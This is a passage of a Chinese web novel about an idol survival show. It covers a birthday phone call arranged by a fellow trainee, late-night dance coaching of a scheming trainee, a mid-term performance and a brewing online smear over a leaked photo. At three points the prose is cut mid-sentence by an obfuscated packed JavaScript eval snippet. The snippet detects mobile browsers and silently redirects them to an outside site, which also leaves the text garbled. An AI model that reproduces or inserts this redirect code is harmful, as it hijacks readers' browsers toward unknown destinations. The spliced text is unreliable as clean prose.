陈敛清在整理好图片后就关闭了相机,离开了纷纷扰扰的门口。异样的暖流滑过心头,她克制住那些逐渐翻涌上来的情绪,拉平想要往上翘的嘴角。 傅寻砚很听话。 巴士照后,陈敛清有些不满意。作为一个偶像,就算素颜再能打,傅寻砚也不可以就这么出门,这会给后援会带来无限的麻烦。 那天光线好,所以傅寻砚的脸上没有泪沟、黑眼圈、痘痘等瑕疵,但下一次呢? 如果下一次没有那么好的光照条件,傅寻砚还这么素颜出来,自己岂不是要和经纪人一起奔波给他收丑照? 所以陈敛清联系了李鹏程,话里话外都让李鹏程提醒傅寻砚形象管理的重要性,甚至给了一盒自己从外国带来的素颜霜。 后来陈敛清收到了一笔钱,跟素颜霜价格差不多,她猜测这来自傅寻砚。 果不其然,今天看他的脸,应该是听话地抹了。 不错,这才是合格的偶像,听劝。 这位听劝的偶像现在站在了走廊里,来来往往数个练习生从他身边经过。 尽管傅寻砚再三确认对方要自己把电话打给谁,但选管尴尬的表情无疑告诉了他答案——节目组不在乎他打给谁,只要他出现在这个片段就好了。 他冷淡一笑,并不锋利张扬,但选管却感觉到了前所未有的寒冷。那双清凌凌的眸子似乎看透了他们的意图,以无声谴责着他们的别有用心。 选管感到抱歉,避开视线匆匆离开。 于是在那悠长而寂静的走廊里,青年静静地伫立着。 他身形挺拔,如同一棵孤独的白杨,修长的双腿随意交叠,上身微微依靠在墙壁上。 他穿着基地里随处可见的练习服。为了区分队伍,dance组这次发下来的都是嫩黄色,这种颜色能让沈迟更黑,却让傅寻砚白得几近透明。 清风吹过,发丝在轻微的气流中晃动,愈发衬出他面部的清瘦。目光漫无目的地投向远方,却似乎什么也没有聚焦。 走廊里的光线昏黄黯淡,在他身上投下斑驳的光影。如影随形的孤独如同一张无形的网,将他紧紧笼罩。 房间里不断传出练习生们的笑语,远处的站姐也在吵闹着迎接从主楼里走来的练习生,但傅寻砚站在这里,这个不被注意的角落,却就像一个被世界遗忘的过客。 达裴打完电话,出来看见的就是这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336072|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕。 光线将傅寻砚的脑袋照得毛茸茸的,分外可爱。配合上那双半阖着的眼睛,就像被人遗弃的小狗。 “你还没打电话是不是?”达裴挠挠头,站在了他身边,同样半身靠着墙面。 “嗯。”身边的男孩应声,“你要安慰我吗?” 达裴哽住,他承认他不太会安慰人,但傅寻砚这家伙上来就把路给他堵死是不是有点太过分。 “喂,你都这样说了我还怎么开展对话啊?”达裴揉了揉眉心,脸上是无奈的笑容。 可安静站着也不行,达裴是个格外好动的人,他无法忍受傅寻砚身上无意识蔓延的孤独感。 眼睛转了一圈,妙计横生。 傅寻砚其实并不感到难受,他只是在经历了那么多事情后仍有些恶心节目组微妙的恶意,他能理解这些炒热度的做法,却无法在道德上认同,这种天然的矛盾感使得他也有些恶心自己。 然而思绪被打断,那双如枝干般遒劲的手握住了他的手腕,很快就把他推入了正好空出来的房间。 里头的选管有些惊讶:“打电话在隔壁,这里是备用间。” “没事没事,备用间不是也为了打电话吗?” “姐,手机借我一下!”达裴身高腿长手也长,一把从一米五的选管姐姐那里抢过了手机,然后哒哒哒输入了一串号码。 傅寻砚知道达裴早就打过电话了,以为是在帮自己按,于是不得不提醒。 “达裴,我没有人可以联系。” “有的有的,你别吵,哥马上就好。”达裴不听,继续眼神炙热地盯着手机屏幕,活像个沉迷电子设备的小学生。 “呐,给你。” 电话接通的前一秒,达裴飞快把选管推出了房间,并且把房门给傅寻砚拉上了。 所以……这家伙到底在干什么?傅寻砚不解,但手机里已经传出了一道女声。 “喂,您好,我是、我是傅寻砚。” “啊!是寻砚啊!” 明明是完全不认识的女人,却能很亲切地喊出他的名字。 对面似乎也为自己的莽撞感到惊讶,不由得笑了出来,连忙解释。 “啊抱歉,我是达裴的妈妈,我有在追你们的节目所以一下子就喊了你的名字呢。” 傅寻砚突然觉得手里的手机有些烫手,下意识看了眼屏幕,又小心翼翼重新贴回耳边——明明开了免提,但他完全因为紧张忘记了这件事。 “我……” “哇寻砚超棒呢,等一下,我这样喊你没问题吧?虽然阿姨以前哦不太能欣赏什么流行舞蹈啦什么破破啦(pop),但寻砚你的《风啊》真的很好听,阿姨年轻时候可喜欢陈鸣雀了,现在决定最喜欢你!” “阿……” “啊哟达裴这小子今天竟然给我这样的惊喜,其实今天是阿姨生日呢,我就和达裴说过一次我觉得你很帅,明明上次这小子还在吃醋,现在倒是挺懂事,还给我安排那什么粉丝、粉丝服务,辛苦你了哦寻砚。” 好像意识到自从电话接通后一直是自己在说话,达裴的妈妈有些不好意思,正要道歉,却听到电话那头清朗的青年嗓音。 “祝你生日快乐阿姨。” “没有感觉到辛苦,因为,能和你通话真是太好了。” 屋外紧张看着录制屏的节目组也是呼吸一滞,他们发现,虽然傅寻砚说话很短,也很寻常,但他真的太真诚了。 真诚到,所有听他说话的人几乎可以想象他此时的表情,那样温暖而充满爱意。 爱这个世界,爱所有的人。 44.第四十四日 基地的破房间不算太隔音,没有走远的达裴和选管本就在走廊僵持不下,在寂静中听到傅寻砚仅有的两句话后,达裴和选管都不由自主地勾起了唇角。 达裴眼眸中波光流转,下意识抬头吸了吸鼻子。 选管不解。 如果说傅寻砚的生长痛是在16岁那年失去了唯一的亲人,那么达裴就是体验到了爱与恨的滚烫。 在12岁之前,达裴的人生和所有小朋友一样还算无忧无虑,除了性子野了一点,长相帅气了一点,并不惹人注目。 但巨变发生在12岁生日。 隐瞒贷款赌博事实的父亲终于爆雷,连夜逃出了家,丢下母亲和年幼的达裴面对债主的愤怒。 隔着一扇门,外面是震天响的哐哐敲门声和持久的腌臜怒骂,室内一片黑暗——那群人已经关掉了供电总阀。 桌上的生日蜡烛仍在明明灭灭,本该是三个人享用的甜蜜食物,在那一刻,在那一片黑暗中,成为达裴此生往后都觉得不能面对的东西。 母亲捂住的耳朵,就这样两人蜷缩着拥抱着颤抖了一夜。 早上偷偷打开门,母亲看着狼藉一片沉默了。门上已经被泼满了红色油漆,甚至有数道砍痕。 之后的几天,每天都会有人来不分昼夜地闹事,邻居们也从刚开始的同情渐渐变为埋怨。 终于,在那个夏季最炎热的一天,母亲下定了决心,将达裴的父亲诉上法庭要求离婚,又经历了长达两年的纠缠后终于取得了判决书。 母亲背负了一半的债务,带着达裴远走他乡,前往国外的姐姐那里打工还债。 生活是艰难的,但她是个坚毅的女人,命运也还算眷顾他们,她用三年的时光就还清了国内的欠债。 这段时间达裴也过得很不容易,从14岁开始,他就混迹市井,课余时间什么工作都做过,只要能够减轻母亲的一点点负担,他什么都愿意付出。 在这段时间里他也认识了很多人,其中一群友好的年轻人带他踏进了嘻哈圈子。 在那个地下圈子里,他也遇到过很多很多不友善甚至是敌视他的人,不过这些没能击败他,反而淬炼了他。 他哭过,伤心过,怨恨过,但他也知道消极情绪只会抑制他的活力,所以他只能继续埋头向前奔跑。 如果说傅寻砚的青春是隐忍无声的孤独,那么达裴就是轰轰烈烈的孤独,除了面对家人外,他暴躁、孤僻、难以为人理解。 17岁那年,达裴站在母亲面前,说想回国。 周芳菲,他操劳了一辈子的母亲,没有多问理由,而是给予了完全的支持。 “我也想回国了,我们一起吧。” 回到国内,周芳菲重新开了家小店,而达裴则在就读艺术学院的同时加入了现在的公司,成为一名练习生。 达裴很敬佩自己的母亲,他的母亲是一个非常非常非常坚强且伟大的女性,他觉得,如果傅寻砚能够与周女士认识,也许就不会总是那么孤独了。 毕竟周女士是个话痨小太阳。 而自己并不善于言辞,在周女士面前总口是心非,他觉得,周女士或许也需要一个人真诚地告诉她,需要她,感谢她。 在他还无法克服自己的当下,寻砚会是一个传声筒。 我好像有点自私——达裴这样想。但无所谓,如果对大家都好的话,稍微有点自私大家也能理解吧? 里边的对话还在继续。 “寻砚啊,有空和小裴一起回来吃饭哦,阿姨可会烧菜了。 别说一条街,咱们B市就没有一家餐馆能有阿姨做的好吃,阿姨等你来!最好是出道以后来,也给阿姨宣传宣传!” [呜呜呜眼睛好酸要尿尿了] [周阿姨人好好啊,我也想有这么开朗的妈妈] [达裴人也好,看寻砚一个人就把妈妈借来了] [周妈妈能不能也认下寻宝这个儿子啊,我寻宝太苦了] 傅寻砚笑着应声,觉得或许是时候挂断电话了,偏偏对面还是没结束。 “呀呀呀我把最重要的事情忘啦!寻砚我偷偷跟你讲,你不能和小裴说哦。” 傅寻砚瞄了眼摄像头,还在犹豫要不要提醒其实达裴以后还能看见,对方已经倒豆子一样把话全说了。 “咳咳就是那个小裴他表妹啊,很喜欢你,她最近也要高考了,能不能给她来句鼓励的话,也激励激励这孩子,算阿姨拜托你啦。” “没问题的阿姨。”傅寻砚想了一下。 “达裴的小表妹要加油哦,不负自己多年学习的努力,成功拿到想要的结果。” 这是傅寻砚难得在话语里用上“哦”这个语气词,莫名听起来像在撒娇。 [哦?] [哦?我要闹了我要闹了!这是寻宝第一次撒娇诶!] [呜呜呜我也是高三生,寻宝肯定是在祝福我对吧!] [话说傅寻砚也要参加高考吧,这么一想还挺神奇,我和我的偶像一起高考?] 走出房间,傅寻砚便对上了达裴幽怨的眼神。 “你把我的铁粉抢走了。” “没有啦。” “你有。” “没有。” 达裴假装掉眼泪,一头抵住傅寻砚的肩窝,开始像狗狗一样呜呜呜,悲伤不能自已。 “明明玲玲最喜欢我的,说好永远支持我的呜呜呜,女人都是大猪蹄子见一个爱一个。” [哈哈哈笑死我了,达裴真的好伤心] [看出来他们一家关系好了] [咦爱看帅哥是我们的天性,达裴你要早点习惯] [这有什么好难过的,你和傅寻砚结芬不就好了,哥哥嫂子就能同时爱了] [好主意!赏!] 在走廊里笑闹了一会儿,眼见傅寻砚身上再没有刚刚那种孤单的气息,达裴安下心,揽着他的肩膀就送他回练习室。 路上还遇到了旻海他们几个,几人纷纷谴责达裴不择手段。 “实不相瞒,我妈也想有个帅气的儿子。” “我给我妈报名,她可喜欢寻砚了。” 最过分的是沈迟,仗着年纪小红着脸站在傅寻砚面前。 “我、我一直想要个哥哥。” 白闻及无情打断,站到了沈迟面前:“你看我怎么样?” “冰山哥哥达咩!” [啊啊啊啊建议这些人原地出道!] [感天动地兄弟情,呜呜呜我什么时候能有这样的好兄弟啊羡慕死了] [真的能看出人品了,从傅寻砚直播时就陪着他的人现在也陪着他,都是好乖一群宝宝] [都是我鹅子!妈妈真的好欣慰!] 可惜这样的欣慰没有持续多久,很快这群女人就把“儿子”“乖宝”丢一边,色中饿鬼们盯着屏幕斯哈斯哈,app后台显示截屏数高达上亿次。 “啊啊啊啊你对我傅哥在做什么!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344563|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”江瀚捂住双颊模仿少女尖叫。 偌大的落地镜前,旻海从后面拥抱住傅寻砚,但动作间不小心戒指勾到了薄薄的春衫,将衣服下摆完全撩了起来。 白色的八块腹肌很是分明。 配合上青年稍有些惊讶的脸,看起来便是良家妇男被调戏的无措。 白镇默默走过来,回忆了一下刚刚看见的,又低头看了看自己的,一脸扭曲。 “为什么?你到底怎么做到的?我一个专业舞者才只有六块,感觉我的日常训练量受到了挑战。” 江瀚也同样落寞:“我已经很努力了真的,三天了三天,我好不容易开始有了雏形,寻宝,你打击到我了。” 傅寻砚无语,眼眸含笑:“没事,舞台上没有要掀衣服的动作,让大家抓紧健身只是为了整体上更好看。” 周奇躺在练习室后边,忍不住抽气。这群卷王一个比一个能卷,偏偏在练习室里又一个比一个轻松,搞得好像他一个被迫努力的人完全没用功一样…… 啊啊啊好想念之前的废柴组,大家半天练习半天休息,多好啊。 其实旻海考虑到周奇的基础,对他已经相当放松了,其他人一天要背完的舞蹈,他给了周奇三天,其他四人都已经开始记动线了,偏偏周奇连舞蹈的一半都没学会。 他似乎想仿照伯弥emo那套来获得观众的心疼,但很遗憾这个组暂时没人顾得上他,也就不能开解他的“郁闷”,或者与他产生一些冲突。 周奇气死,只能小心翼翼等待时机制造冲突。 看着周奇心思沉重而又不训练的样子,旻海忍不住皱眉,作为队长他需要对周奇开小课,但是……因为之前的事件,他对靠近周奇这件事本身就很排斥。 “我来吧。”傅寻砚卸下手臂和腿上的加重环。 “但你还需要准备考试,再花时间在他身上的话……”旻海皱起眉头。 傅寻砚:“没事,我能够安排好。” 旻海仍有些犹豫,但傅寻砚向来值得信赖,所以最后还是同意了。 晚间十点,周奇浅浅跟着素人老师学了两个动作后,又打算在后面躺尸,素人老师满脸无奈但又不敢指责他。 这群练习生虽然实力不怎么样,但脸是好脸,在这个看脸的时代但凡有点曝光都能攒个十几万二十万粉丝,自己这种没进圈的家伙只要被对方暗讽一句,粉丝都能赶过来撕了自己。 就在万分纠结之际,一道高大的阴影落在身边。 老师侧眸,惊讶地看见了傅寻砚。 “寻砚?你不和他们去休息吗?” 听到休息的话题,周奇更是委屈,直接转过背来面对他们。 如果素人老师知道周奇的想法,少不了扇他一巴掌——人家从吃完晚饭开始严格执行训练五十分钟休息十分钟的计划表,你干了什么? 四个小时里你加起来的训练都不超过一小时! 傅寻砚:“嗯,我看周奇应该有些困难,过来帮忙,这首歌很难,按照这个进度下去肯定来不及。” 周奇身形一僵。 傅寻砚的眼神是灼热的火焰,在他背上点出一串燎泡。 素人老师默默退场,留下冷冷站着的青年,无声地盯着坐在地上像在自闭的男孩。 他倏然笑了,那种冷淡的疏离感消失,慵懒的威胁具象化,让周奇感受到身边的每一寸空气都有了压力。 “我们从头开始一个个动作捋顺,可以吗?” 45.第四十五日 [啊我死了,寻宝也太全能了,怎么连别人的动作也记住了?] [他真的好强,因为《风啊》我还以为他是大vocal呢,这样看来他舞蹈水平也不弱啊] [岂止不弱,你看看他的分离和平衡,小框架和大框架他也都能做,精准控制动作,真的很绝] [……虽然我不喜欢周奇,但傅寻砚握住他肩膀的动作真的好涩谁懂我] [P图大神呢!给我把周奇抠了换我叶子!] [换达裴!] [换老白!] [老白?算了吧……他也是金瓜,我想象不到两个金瓜在这演泰坦尼克号] 傅寻砚心无旁骛,他今天的计划就是帮周奇把动作捋顺。他和旻海一样给了周奇三天的“自省时间”,但很可惜对方似乎完全没意识到事情的严峻,白白浪费三天。 既然如此,接下来他们就不会手软了。 “抬左腿!左边,都已经五次了还记不住吗?” “你的wave做的不行,再来一遍。” “手和头的定点不对,再来!” 周奇的眼睛已经失去了焦距,他瞥到墙面的时针指向了12,困倦席卷了大脑,他几乎是哭丧着脸朝傅寻砚看过去。 可当与那双冰冷的眼睛对视,周奇什么都不敢说了,明明傅寻砚笑着,明明他什么重话都没说,可他眼睛里的寒意顺着空气冰冻了自己的骨髓。 周奇就像是被猛兽锁定的猎物,除了遵照指示什么也不敢做,生怕被猛兽一口撕碎。 但周奇并不是柔弱的动物,他比狐狸、比兔子都要多心眼。 那张偏柔弱的面孔滑过一种深思。 在那么多的拆分动作里,他唯独记得下一个。 转圈,失去平衡,重重跌倒。 咦? 他没能倒下。 腰间柔软的触感转瞬即逝,天旋地覆间有人将他一把拽起。周奇狠了狠心神,加重力量倚靠过去。 呵。 错身的一刻,周奇瞥见了他脸上神秘莫测的一抹笑,心神俱震。 下一秒,对方不知道用了什么办法,周奇只感觉腋下一片酥麻,强行挤入对方怀抱的动作软下,被迫扭转了身体,以极其狼狈的姿势掉下去。 傅寻砚冷眼看着他跌倒在地,连句抱歉也没有,气氛冷得惊人。 “傅寻砚!”周奇生气了,从进入节目组以来还没有谁这样对待过他。 以阴柔的气质和温柔的作风,周奇在这个地方吃尽红利,完全没想到在傅寻砚这里吃了大大的闭门羹。 “嗯?摔疼了?抱歉哦没能接住你,训练了一天我没什么力气。”傅寻砚伸出手,避开周奇下意识伸过来的手心,而是抓住他的袖子把他拽起来。 “十二点,不早了,我们可以快点结束吗?” 帅气的脸上出现了浓浓的疲倦,周奇发誓两分钟前他还不是这样的!明明精神的要死! “我真的想休息了,马上还要去健身房,还要学习,我有点忙,可能无法在你身上花太多时间,抱歉了。” 嘶——周奇倒吸一口冷气,立马张口应好,他可不想被傅寻砚的粉丝网暴啊! 傅寻砚满意点头。 十二点半,周奇终于完成了整套动作的梳理,虽然有些动作拆解开来看,离标准还有十万八千里,但傅寻砚知道一口吃不成胖子,所以放过了他。 周奇在高强度的两个半小时里几次都像崩溃,但看见傅寻砚的眼睛就好像看见他的粉丝冲过来踩扁他的景象,深深感到害怕,不得不真的认真学习。 训练一结束,他就飞快试图逃离,再也不想和这个大魔王待在一块儿。 但傅寻砚在走廊尽头没人的地方拦住了他。 “安分一点,好吗?” “什么、什么意思?” 傅寻砚的眼眸在黑夜里依旧亮的惊人,“你明白我的意思,你在别处有什么计划我随你,但是在我这里,在这个舞台,我不希望有任何差错。” “如果你要破坏我的心血,那么我会加倍回报给你,懂了吗?” 昏黄的灯光将他的身影拉得修长,光影交错间,愈发衬出他脸部线条的冷峻。 那双从来懒懒倦倦没什么感情的眼眸,此刻泛着冷冽的色泽,犹如寒夜中的深潭,目光锐利得好似能穿透一切,紧紧盯着对面的人,却又不将之放在心上。 他酷似打了胜仗的帝王,因为自身的强大而无法体会蚂蚁们的无力。 周奇再也无法忍受,眼泪不受控制掉落。 “你懂什么?你以为我愿意吗?你尝试过五年的努力还敌不过别人随便炒炒cp吗?明明我和他水平差不多?凭什么呢?” “你根本无法理解我不是吗?进入节目以来你一直都在热搜上,你有一张好看的脸,有那么多的兄弟,有节目的迁就,我们普通人有什么?” “我已经很努力了,我真的很想在这个圈子活下去……” 呵,又是一声短促的笑意,嘲讽意味十足,明明声音很轻,却有十足的力量打断周奇的呐喊。 “活下去?你只是想火起来吧?” 青年欺身而来,高出半头的压迫感充满威慑力,身上的雪松味道愈发浓厚,带来南半球的寒雪与冰冻。 “你们普通人?什么时候我就被剔除出去普通人之列了,到底是我无法体会你们,还是你无法体会脚踏实地的人们的坚持,你自己心里清楚。” “再说了,我需要理解你吗?我不需要。” 冷酷的嗓音给他判了死刑。 “道不同不相为谋,你的道路你自己去走就好,对于我们这些不理解你的人,你远离即可。当然,选择了《赛博之恋》后你必须和我们待在一起,我对你的要求很低,做好这个舞台。 我不拦着你以你的方式吸引眼球,但,你不能把主意打到《赛博之恋》任何其他成员身上。” “这里,没有人愿意配合。” 傅寻砚丢下最后一句话,没再管周奇的愤怒、伤心又或者怨怼。 世界上赚快钱的方式千千万万,踩在道德底线上敛财的人不计其数,他们只需要以极小的代价就能得到想要的一切,对此,普通人自然感到不公平。 但有什么关系?如果我们要坚持高道德,那就坚持下去,别去眼红,别去抱怨,专注“我所有的”,“我能得到的”而不是那些“也许可以属于我的”。 我们总要在这些矛盾中找到自洽的空间。 周奇无力地瘫倒在墙边。 两分钟后,有人从阴影里走出。 “录到了吗?” “嗯,但他说的话太少了,也不够直接……” “没关系,可以剪辑。” “可这样……”那道声音有些低沉,“不是也会把你拖入舆论吗?现在傅寻砚的热度很高,而且有之前那件事给他作保,我们很难中伤他。” 周奇以手遮住面孔,无所谓地揩下那两滴其实没有任何情绪的眼泪。 “放心,有其他人会帮助我们。” 傅寻砚,你这样对待我,只会削减我做坏事的愧疚感罢了。 第四天,蒋翩翩和章曲终于回来了基地,开始对几个dance小组开启中期考评。 大练习室中央的长桌上坐着五位老师,旁边席地而坐的则是一些专业素人老师,他们将会辅助指出各组的问题。 Dance组在舞台上不需要唱,但还是需要录音,所以欧若也赶了过来,看着傅寻砚就好像看着负心汉,完全不理解他为什么要选dance。 他可是好不容易说服节目组把自己的一首歌塞进了二公,为此还和陈鸣雀闹了不愉快……那老家伙竟然也想塞歌,还是他最有名的一首。 欧若凭着和节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15348947|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目组的交情上位,但万万没想到傅寻砚居然“背叛”了他,真是伤心…… 这一周目由于傅寻砚的干预,几个舞台的编舞都有了质的飞跃,也因为傅寻砚在一公的示范,很多专业舞者出生的练习生积极提出意见,使得整体完成度上了一个阶层。 当然,中期考核下来每组仍有不足,缺了旻海的《waterfall》缺了主心骨,几个练习生完全没跳出松弛感,被章曲皱着眉骂了一顿。 《鸦雀无声》在正式演出时注重表演,而在当下,缺乏布景和怼脸镜头,只能展现出无尽尴尬,让所有练习生为这组打了低分。 让人惊喜的是《黑客联盟与情报局》,刘永善的鬼点子让这首歌有了“特工”的主题,加上几位练习生个性都不错,配合默契,完成得很不错。 《月光》中叶莱担任了Leader和Center的双重身份,在他的带领下,练习生们动作行云流水,没有出任何差错,蒋翩翩赞不绝口。 《赛博之恋》最后一个上场。 听了林薇薇建议的傅寻砚收到了几件衣服,终于在排练中穿上私服,为了配合主题,他挑选了宽大的黑色T恤,和黑白色的运动裤,看起来随性而青春。 他站在舞台中间,摆好了开场动作。 蒋翩翩抬眸,在交错的双臂间对上后头的眼睛,没忍住抽气一声,差点咳嗽。 好帅的眼睛!傅寻砚一定很适合覆面系! 还没等发上花痴,那边有工作人员一阵骚动,蒋翩翩看过去,他们却又已经恢复了平静,但一个个盯着傅寻砚皱眉。 蒋翩翩和章曲不知道发生了什么,但节目的录制不会暂停,所以他们还是等表演结束再问好了。 开始了。 练习室的环境很简陋,加上挤挤挨挨二十来个练习生坐在周围,中间正在表演的人难免放不开,可傅寻砚这组丝毫没有这个问题。 不论是傅寻砚本人,还是旻海、江瀚或白镇,都是经验老手,他们全神贯注地完成自己的part,一个个随着音乐来到中央,唱本人的段落。 到了killing part处,傅寻砚站到中央,音乐突然暂停一秒,中央的青年抬眸,脖子轻巧地扭动,然后手从胸口滑落缓缓来到腹部,腰胯随着鼓点转动。 啊啊啊啊!身后好多练习生发出尖叫。 好sexy!傅哥牛逼! 有几个人忍不住跟着动,但发现看似简单的动作到了自己身上简直是大失败,嗯,他们应该和周奇看上去一样滑稽。 蒋翩翩看愣了,《赛博之恋》居然是那么涩涩的歌嘛!看别人跳也不觉得啊!为什么傅寻砚一站在中心,就让人腿软呢? 那双眼睛慵懒地扫视过去,就像是沉浸在夜店狂欢后的糜乱,自有一派风流,让人瞬间堕落的致命魅力。 蒋翩翩和章曲不自觉屏住呼吸。 其实在场的人都这样。 只有欧若,他的神色越来越严肃。 伤风败俗!伤风败俗!别说还挺好看……啊不对,伤风败俗! 姜苏林克制不住笑意,反复捂嘴,印证了网上所说的看这个舞台嘴角就是会忍不住勾起,眼神迷幻,妈妈们都在害怕是不是磕了。 看得出来傅寻砚还收着力,没有火力全开,但饶是如此,他和其他几个人的配合也完美到了极致。 完美到让人忽视了这个舞台上还有个周奇。 是的,除了killing part的那个定点时,大家有意去比较五人的动作外,他们好像,完全忘记了还有周奇这号人物。 不少实力不行但排名还不错的练习生都感到后悔,早知道就不该畏惧《赛博之恋》的难度而不参与啊!这实力也太强了,就算自己混入其中也不会被发现跳的不行吧? 但很快又意识到不行——他们可不想和蒋安一样到时候在舞台上拿零票! 46.第四十六日 练习开始的第五天,二公的倒数第三天。 傅寻砚照例开启了一日练习,他昨天帮周奇扒舞直到凌晨一点,回到宿舍冲了个澡后,又带着自己的资料去了空房间学习。 三点,他准时躺上床,沈迟这孩子早已呼噜震天响,但宿舍没人能被他吵到,因为大家都太累了。 傅寻砚的睡眠质量很好,一沾枕头立刻睡着,早上七点又准时睁眼。 他在床上对抗了一会儿困意,就爬起来出了门。简单健身后,他顺路给宿舍带了早餐,用保温包装好放在桌上,然后一个个将他们唤醒。 九点是集合时间,傅寻砚担心练习楼的厕所过于拥挤,就拐了个弯去录制楼一楼借用卫生间。 刚踏进去,浓浓的烟味兜头笼罩下来,让傅寻砚忍不住蹙眉。 他其实不太喜欢和爱抽烟的人交往,旻海为了缓解压力他能够理解,但这种浓度,显然此人已经不止点燃了一根。 傅寻砚抿了抿唇,懒惰占了上风,他打算屏住呼吸动作快点就出去。 可没想到隔间内的人突然开始说话。 他用的是H国语,傅寻砚不太精通却勉强能听懂。 “又要来一次吗?”那人“啧”了一声,好像很不耐烦。 “上次不是已经试过却失败了吗?这次你们确定这个黑料能把他锤死?” “什么?不能?……抱歉我不是和您在顶嘴,只是我担心那样不好吧?上次可是公司单方面的决定,这次也是,可一旦狗仔发现是公司做的,肯定会把我也拉进去的不是吗?” “……我知道,可是……” “我!我……算了。”通话到了最后,那人的嗓音里带上了沙哑的隐忍,挂了电话后更是发泄式地喊了好几声西八。 傅寻砚完全知道是谁了。 Kenny,另外,话题里的倒霉蛋是谁不言而喻,分明就是自己。 就连上次“霸凌事件”的始作俑者也暴露出来。 Pennyline……傅寻砚闪身躲入另一个单间,听着门外哗啦啦的水流声过去,听着那人沉闷的脚步声离开,才缓缓走出来。 上次的事件显然是阴谋,所以傅寻砚委托李鹏程找人去调查,但娱乐圈里的关系错综复杂,一个小忙弯弯绕绕可能经手十几号人。 所以倒是没能立刻把Pennyline挖出来。 但现在不同了。 ** 睡到九点,房间里闹钟的响动让柳雨一个激灵睁开眼,她照常登录平台刷新消息,自从重新入坑偶像后,她又养成了时刻关注娱乐圈动态的习惯。 她之前上班都没那么上心,果然颜狗的工作动力来自于自担的脸。 不过……嗯? 眼看着热搜又出现了傅寻砚的名字,柳雨有些不解。虽然这段时间傅寻砚上热搜很频繁,可今天又不是什么特殊日子,离二公直播也有两天,怎么突然又上了? 她还没来得及点开,发现聊天软件的头像疯狂闪动,点开一看,好几个群消息都积攒了99+。 心头有些不好的预感。 她深呼吸一口气,先是看了热搜的帖子,等浏览完内容,堪称两眼一黑。 放假的喜悦瞬间消退,冷意顺着足底蔓延上来,将她整个人冰冻在泛着热气的床上。柳雨一骨碌坐起,将爬到身上的猫咪先扔到一旁,伸手抓到电脑就拖过来。 手机发信息太慢。 她的指尖在颤抖。 镇定一点,柳雨。这件事来的太过突然,没有任何征兆,恐怕又是假消息。 可柳雨无法欺骗自己,那张所谓“网友”扒出的照片里,青年低垂着头,缺少正脸,可那张无比优越的侧脸无疑属于傅寻砚。 落雪时节,异国的街头,青年穿着薄薄的便利店制服靠在门口,长腿微蜷,瘦削的身躯是冬日童话也无法填充的萧瑟。 高清照片,意境拉满,如果不是他身边依偎着一个长腿美女,简直是能当粉丝屏保的程度。 无法以朋友、路人、偶然遇见的姐姐或妹妹去解释两人间的关系,那个女孩穿着白色的貂皮大衣和H国人超爱的短裙,品牌全都被神通广大的网友们扒了出来,价值不菲。 大波浪、齐刘海,有些略微浓重的妆容也无法遮盖她的娇美动人。 她一手勾住青年的臂弯,另一手两指间的钻石对戒闪耀着璀璨的光芒。 [酸酸甜甜果丽珍:#傅寻砚异国照#笑死,再吹你家哥哥冰清玉洁呢,早背着你们勾搭上富婆了。就说他一个穷小子哪来那么多热搜,全是嫂子买的吧?] [派派甜心:#傅寻砚异国照#??有病吧,参赛前素人时期谈恋爱怎么了?] [酸酸甜甜果丽珍:#傅寻砚异国照#怎么了?一边标榜自己穷困为了念书不得不辛苦打工,一边有空在国外美美勾搭富婆是吧?] [我儿何时能出头:#傅寻砚异国照#呃就很难评,我们老师之前还以傅寻砚为素材鼓励我们要加油呢,现在看来……] [夜中梦话:#傅寻砚异国照#时间线不是扒出来了吗?也就是大半年前,那时候傅寻砚已经当练习生了吧?看起来应该是寒假,练习室不泡,泡富婆美女是吧?] [小林前辈:#傅寻砚异国照#呜呜呜我刚粉上啊,又塌了有没有搞错,不是说这个有国家背书吗?这背书了个啥玩意儿] [小熊软糖不是德国:#傅寻砚异国照#大家能不能冷静一点,就一张照片而已,狗仔放出的时间也不能考证,黑子别蹦跶太高] [恒星发光:#傅寻砚异国照#不守男德的豆给我死!无语了,姐给投了多少钱你都不在乎是吧?啊对对对你有富婆给你抄底] [派派甜心:#傅寻砚异国照#……呵呵你给我寻宝付钱?周恒宇知道吗?] 大清早的突发这样的事件,是柳雨等粉丝都没有料想到的,群里瞬间一片人心惶惶,即便前期立下的规矩使她们表现比其他粉丝好的多,但还是有不少粉丝开始咒骂和脱粉。 如果是一个月前,柳雨大概又要慌慌张张去找陈敛清,但如今的她有了长进,直接开始给小群布置任务。 [落雨时节遇见他:甜心,你今天上班吗?有空的话帮忙扒一下新闻源头好吗?凌晨五点放料,这个很不正常] 